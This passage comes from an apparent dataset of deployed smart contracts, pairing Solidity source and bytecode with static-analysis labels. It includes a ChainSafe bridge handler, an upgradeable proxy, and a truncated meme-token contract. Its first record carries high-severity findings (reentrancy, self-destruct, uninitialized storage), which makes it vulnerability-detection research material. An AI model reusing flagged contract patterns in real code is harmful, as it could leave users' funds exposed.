5050565b5080546000825590600052602060002090810190611f639190611f8b565b50565b611f8891905b80821115611f84576000816000905550600101611f6c565b5090565b90565b611fad91905b80821115611fa9576000816000905550600101611f91565b5090565b905600a165627a7a7230582030351a9c4c643ea75c89a24c330f0c0c708ec22583e363f5dd6bad083209d04f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-storage", "impact": "High", "confidence": "High"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,253
0x30b7026e9e5b35c844f6b115ab4558c3f7e7e3b1
/** *Submitted for verification at Etherscan.io on 2021-05-01 */ pragma solidity 0.6.4; pragma experimental ABIEncoderV2; /** @title Interface for handler that handles generic deposits and deposit executions. @author ChainSafe Systems. */ interface IGenericHandler { /** @notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param depositFunctionDepositerOffset Depositer address position offset in the metadata, in bytes. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, uint depositFunctionDepositerOffset, bytes4 executeFunctionSig) external; } /** @title Handles generic deposits and deposit executions. @author ChainSafe Systems. @notice This contract is intended to be used with the Bridge contract. */ contract GenericHandler is IGenericHandler { address public _bridgeAddress; struct DepositRecord { uint8 _destinationChainID; address _depositer; bytes32 _resourceID; bytes _metaData; } // depositNonce => Deposit Record mapping (uint8 => mapping(uint64 => DepositRecord)) public _depositRecords; // resourceID => contract address mapping (bytes32 => address) public _resourceIDToContractAddress; // contract address => resourceID mapping (address => bytes32) public _contractAddressToResourceID; // contract address => deposit function signature mapping (address => bytes4) public _contractAddressToDepositFunctionSignature; // contract address => depositer address position offset in the metadata mapping (address => uint256) public _contractAddressToDepositFunctionDepositerOffset; // contract address => execute proposal function signature mapping (address => bytes4) public _contractAddressToExecuteFunctionSignature; // token contract address => is whitelisted mapping (address => bool) public _contractWhitelist; modifier onlyBridge() { _onlyBridge(); _; } function _onlyBridge() private { require(msg.sender == _bridgeAddress, "sender must be bridge contract"); } /** @param bridgeAddress Contract address of previously deployed Bridge. @param initialResourceIDs Resource IDs used to identify a specific contract address. These are the Resource IDs this contract will initially support. @param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be called to perform deposit and execution calls. @param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {deposit} @param initialDepositFunctionDepositerOffsets These are the offsets of depositer positions, inside of metadata used to call {initialContractAddresses} when executing {deposit} @param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {executeProposal} @dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures}, and {initialExecuteFunctionSignatures} must all have the same length. Also, values must be ordered in the way that that index x of any mentioned array must be intended for value x of any other array, e.g. {initialContractAddresses}[0] is the intended address for {initialDepositFunctionSignatures}[0]. */ constructor( address bridgeAddress, bytes32[] memory initialResourceIDs, address[] memory initialContractAddresses, bytes4[] memory initialDepositFunctionSignatures, uint256[] memory initialDepositFunctionDepositerOffsets, bytes4[] memory initialExecuteFunctionSignatures ) public { require(initialResourceIDs.length == initialContractAddresses.length, "initialResourceIDs and initialContractAddresses len mismatch"); require(initialContractAddresses.length == initialDepositFunctionSignatures.length, "provided contract addresses and function signatures len mismatch"); require(initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length, "provided deposit and execute function signatures len mismatch"); require(initialDepositFunctionDepositerOffsets.length == initialExecuteFunctionSignatures.length, "provided depositer offsets and function signatures len mismatch"); _bridgeAddress = bridgeAddress; for (uint256 i = 0; i < initialResourceIDs.length; i++) { _setResource( initialResourceIDs[i], initialContractAddresses[i], initialDepositFunctionSignatures[i], initialDepositFunctionDepositerOffsets[i], initialExecuteFunctionSignatures[i]); } } /** @param depositNonce This ID will have been generated by the Bridge contract. @param destId ID of chain deposit will be bridged to. @return DepositRecord which consists of: - _destinationChainID ChainID deposited tokens are intended to end up on. - _resourceID ResourceID used when {deposit} was executed. - _depositer Address that initially called {deposit} in the Bridge contract. - _metaData Data to be passed to method executed in corresponding {resourceID} contract. */ function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) { return _depositRecords[destId][depositNonce]; } /** @notice First verifies {_resourceIDToContractAddress}[{resourceID}] and {_contractAddressToResourceID}[{contractAddress}] are not already set, then sets {_resourceIDToContractAddress} with {contractAddress}, {_contractAddressToResourceID} with {resourceID}, {_contractAddressToDepositFunctionSignature} with {depositFunctionSig}, {_contractAddressToDepositFunctionDepositerOffset} with {depositFunctionDepositerOffset}, {_contractAddressToExecuteFunctionSignature} with {executeFunctionSig}, and {_contractWhitelist} to true for {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param depositFunctionDepositerOffset Depositer address position offset in the metadata, in bytes. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, uint256 depositFunctionDepositerOffset, bytes4 executeFunctionSig ) external onlyBridge override { _setResource(resourceID, contractAddress, depositFunctionSig, depositFunctionDepositerOffset, executeFunctionSig); } /** @notice A deposit is initiatied by making a deposit in the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of the account making deposit in the Bridge contract. @param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 64 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function deposit(bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data) external onlyBridge { uint256 lenMetadata; bytes memory metadata; lenMetadata = abi.decode(data, (uint256)); metadata = bytes(data[32:32 + lenMetadata]); address contractAddress = _resourceIDToContractAddress[resourceID]; uint256 depositerOffset = _contractAddressToDepositFunctionDepositerOffset[contractAddress]; if (depositerOffset > 0) { uint256 metadataDepositer; // Skipping 32 bytes of length prefix and depositerOffset bytes. assembly { metadataDepositer := mload(add(add(metadata, 32), depositerOffset)) } // metadataDepositer contains 0xdepositerAddressdepositerAddressdeposite************************ // Shift it 12 bytes right: 0x000000000000000000000000depositerAddressdepositerAddressdeposite require(depositer == address(metadataDepositer >> 96), 'incorrect depositer in the data'); } require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metadata); (bool success,) = contractAddress.call(callData); require(success, "call to contractAddress failed"); } _depositRecords[destinationChainID][depositNonce] = DepositRecord( destinationChainID, depositer, resourceID, metadata ); } /** @notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract. @param data Consists of {resourceID}, {lenMetaData}, and {metaData}. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 32 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge { uint256 lenMetadata; bytes memory metaData; lenMetadata = abi.decode(data, (uint256)); metaData = bytes(data[32:32 + lenMetadata]); address contractAddress = _resourceIDToContractAddress[resourceID]; require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metaData); (bool success,) = contractAddress.call(callData); require(success, "delegatecall to contractAddress failed"); } } function _setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, uint256 depositFunctionDepositerOffset, bytes4 executeFunctionSig ) internal { _resourceIDToContractAddress[resourceID] = contractAddress; _contractAddressToResourceID[contractAddress] = resourceID; _contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig; _contractAddressToDepositFunctionDepositerOffset[contractAddress] = depositFunctionDepositerOffset; _contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig; _contractWhitelist[contractAddress] = true; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063ba484c0911610071578063ba484c091461016f578063c54c2a111461018f578063cb624463146101a2578063de319d99146101b5578063e248cff2146101c8578063ec97d3b4146101db576100b4565b8063318c136e146100b957806338995da9146100d75780634402027f146100ec5780637f79bea81461010f578063a5c3a9851461012f578063aa50800b1461014f575b600080fd5b6100c16101ee565b6040516100ce9190610d23565b60405180910390f35b6100ea6100e5366004610bad565b6101fd565b005b6100ff6100fa366004610c61565b6104d9565b6040516100ce9493929190610ee2565b61012261011d366004610ac0565b61059d565b6040516100ce9190610d37565b61014261013d366004610ac0565b6105b2565b6040516100ce9190610d4b565b61016261015d366004610ac0565b6105c7565b6040516100ce9190610d42565b61018261017d366004610c2d565b6105d9565b6040516100ce9190610e96565b6100c161019d366004610ae2565b6106cc565b6101426101b0366004610ac0565b6106e7565b6100ea6101c3366004610afa565b6106fc565b6100ea6101d6366004610b63565b610718565b6101626101e9366004610ac0565b6108b1565b6000546001600160a01b031681565b6102056108c3565b6000606061021583850185610ae2565b915083836020846020018082111561022c57600080fd5b8281111561023957600080fd5b60408051602092849003601f81018490048402820184019092528181529490920192508190840183828082843760009201829052508c8152600260209081526040808320546001600160a01b031680845260059092529091205494955093925050811590506102e057828101602001516001600160a01b038816606082901c146102de5760405162461bcd60e51b81526004016102d590610ddd565b60405180910390fd5b505b6001600160a01b03821660009081526007602052604090205460ff166103185760405162461bcd60e51b81526004016102d590610e14565b6001600160a01b03821660009081526004602052604090205460e01b6001600160e01b03198116156103ea5760608185604051602001610359929190610cd6565b60405160208183030381529060405290506000846001600160a01b0316826040516103849190610d07565b6000604051808303816000865af19150503d80600081146103c1576040519150601f19603f3d011682016040523d82523d6000602084013e6103c6565b606091505b50509050806103e75760405162461bcd60e51b81526004016102d590610e5f565b50505b60405180608001604052808b60ff168152602001896001600160a01b031681526020018c815260200185815250600160008c60ff1660ff16815260200190815260200160002060008b67ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816001015560608201518160020190805190602001906104c9929190610978565b5050505050505050505050505050565b60016020818152600093845260408085208252928452928290208054818301546002808401805487516101009782161588026000190190911692909204601f810189900489028301890190975286825260ff841697959093046001600160a01b0316959194909291908301828280156105935780601f1061056857610100808354040283529160200191610593565b820191906000526020600020905b81548152906001019060200180831161057657829003601f168201915b5050505050905084565b60076020526000908152604090205460ff1681565b60066020526000908152604090205460e01b81565b60056020526000908152604090205481565b6105e16109f6565b60ff828116600090815260016020818152604080842067ffffffffffffffff89168552825292839020835160808101855281549586168152610100958690046001600160a01b0316818401528184015481860152600280830180548751968116159098026000190190971604601f81018490048402850184019095528484529490936060860193928301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b50505050508152505090505b92915050565b6002602052600090815260409020546001600160a01b031681565b60046020526000908152604090205460e01b81565b6107046108c3565b61071185858585856108ef565b5050505050565b6107206108c3565b6000606061073083850185610ae2565b915083836020846020018082111561074757600080fd5b8281111561075457600080fd5b60408051602092849003601f8101849004840282018401909252818152949092019250819084018382808284376000920182905250898152600260209081526040808320546001600160a01b03168084526007909252909120549495509360ff1692506107d69150505760405162461bcd60e51b81526004016102d590610e14565b6001600160a01b03811660009081526006602052604090205460e01b6001600160e01b03198116156108a85760608184604051602001610817929190610cd6565b60405160208183030381529060405290506000836001600160a01b0316826040516108429190610d07565b6000604051808303816000865af19150503d806000811461087f576040519150601f19603f3d011682016040523d82523d6000602084013e610884565b606091505b50509050806108a55760405162461bcd60e51b81526004016102d590610d97565b50505b50505050505050565b60036020526000908152604090205481565b6000546001600160a01b031633146108ed5760405162461bcd60e51b81526004016102d590610d60565b565b600085815260026020908152604080832080546001600160a01b0319166001600160a01b03989098169788179055958252600381528582209690965560048652848120805463ffffffff1990811660e096871c1790915560058752858220939093556006865284812080549093169190931c17905560079092529020805460ff19166001179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106109b957805160ff19168380011785556109e6565b828001600101855582156109e6579182015b828111156109e65782518255916020019190600101906109cb565b506109f2929150610a1c565b5090565b604080516080810182526000808252602082018190529181019190915260608082015290565b610a3691905b808211156109f25760008155600101610a22565b90565b80356001600160a01b03811681146106c657600080fd5b60008083601f840112610a61578182fd5b50813567ffffffffffffffff811115610a78578182fd5b602083019150836020828501011115610a9057600080fd5b9250929050565b803567ffffffffffffffff811681146106c657600080fd5b803560ff811681146106c657600080fd5b600060208284031215610ad1578081fd5b610adb8383610a39565b9392505050565b600060208284031215610af3578081fd5b5035919050565b600080600080600060a08688031215610b11578081fd5b8535945060208601356001600160a01b0381168114610b2e578182fd5b93506040860135610b3e81610f4c565b9250606086013591506080860135610b5581610f4c565b809150509295509295909350565b600080600060408486031215610b77578283fd5b83359250602084013567ffffffffffffffff811115610b94578283fd5b610ba086828701610a50565b9497909650939450505050565b60008060008060008060a08789031215610bc5578081fd5b86359550610bd68860208901610aaf565b9450610be58860408901610a97565b9350610bf48860608901610a39565b9250608087013567ffffffffffffffff811115610c0f578182fd5b610c1b89828a01610a50565b979a9699509497509295939492505050565b60008060408385031215610c3f578182fd5b610c498484610a97565b9150610c588460208501610aaf565b90509250929050565b60008060408385031215610c73578182fd5b823560ff81168114610c83578283fd5b9150602083013567ffffffffffffffff81168114610c9f578182fd5b809150509250929050565b60008151808452610cc2816020860160208601610f1c565b601f01601f19169290920160200192915050565b6001600160e01b0319831681528151600090610cf9816004850160208701610f1c565b919091016004019392505050565b60008251610d19818460208701610f1c565b9190910192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b6001600160e01b031991909116815260200190565b6020808252601e908201527f73656e646572206d7573742062652062726964676520636f6e74726163740000604082015260600190565b60208082526026908201527f64656c656761746563616c6c20746f20636f6e7472616374416464726573732060408201526519985a5b195960d21b606082015260800190565b6020808252601f908201527f696e636f7272656374206465706f736974657220696e20746865206461746100604082015260600190565b6020808252602b908201527f70726f766964656420636f6e747261637441646472657373206973206e6f742060408201526a1dda1a5d195b1a5cdd195960aa1b606082015260800190565b6020808252601e908201527f63616c6c20746f20636f6e747261637441646472657373206661696c65640000604082015260600190565b60006020825260ff835116602083015260018060a01b036020840151166040830152604083015160608301526060830151608080840152610eda60a0840182610caa565b949350505050565b600060ff8616825260018060a01b038516602083015283604083015260806060830152610f126080830184610caa565b9695505050505050565b60005b83811015610f37578181015183820152602001610f1f565b83811115610f46576000848401525b50505050565b6001600160e01b031981168114610f6257600080fd5b5056fea2646970667358221220675f116492fa707c91661ae0a844789ac82898302b47cacd58860a3511a1620264736f6c63430006040033
{"success": true, "error": null, "results": {}}
7,254
0xcd6f280e766b5017a270bc657526bbefc1239c9f
/** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,255
0xdd2c1829d872c60986ad69895d87c8e4676dc65b
// SPDX-License-Identifier: Unlicensed //https://alientoystory.com/ //Telegram: https://t.me/alientoystorytoken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract toyStory is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private maxAmountTransfer = _tTotal; uint256 private maxWallet = _tTotal; uint256 private redistribution; uint256 private tax; uint256 private ethTax; uint256 private redisTax; address payable private devWallet; address payable private teamWallet; string private constant _name = "Alien Toy Story"; string private constant _symbol = "AlienToyStory"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2) { require(_add1 != address(0)); require(_add2 != address(0)); devWallet = _add1; teamWallet = _add2; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[devWallet] = true; emit Transfer(address(0), devWallet, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function uniswapPair() public view returns (address) { return uniswapV2Pair; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view 